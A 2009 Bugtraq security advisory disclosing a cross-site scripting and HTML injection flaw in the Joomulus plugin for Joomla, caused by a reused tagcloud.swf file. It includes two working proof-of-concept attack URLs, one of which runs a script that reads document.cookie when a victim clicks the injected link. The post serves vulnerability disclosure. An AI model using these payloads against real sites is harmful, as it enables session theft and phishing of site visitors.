Vulnerability in Joomulus for Joomla
- From: "MustLive" <mustlive@xxxxxxxxxxxxxxxxxx>
- Date: Fri, 25 Dec 2009 20:14:13 +0200
Hello Bugtraq!
I want to warn you about Cross-Site Scripting vulnerability in Joomulus (mod_joomulus) plugin for Joomla. Which I found at 23.12.2009.
It is similar to XSS vulnerability in WP-Cumulus (http://websecurity.com.ua/3665/), because it's using tagcloud.swf made by author of WP-Cumulus. About millions of flash files tagcloud.swf which are vulnerable to XSS attacks I mentioned in my article XSS vulnerabilities in 8 millions flash files (http://websecurity.com.ua/3789/).
XSS:
http://site/modules/mod_joomulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E
Code will execute after click. It's strictly social XSS.
Also it's possible to conduct (like in WP-Cumulus) HTML Injection attack, including in those flash files which have protection (in flash files or via WAF) against javascript and vbscript URI in parameter tagcloud.
HTML Injection:
http://site/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='http://websecurity.com.ua'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E
Vulnerable are Joomulus 2.0 and previous versions.
I mentioned about this vulnerability at my site (http://websecurity.com.ua/3801/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
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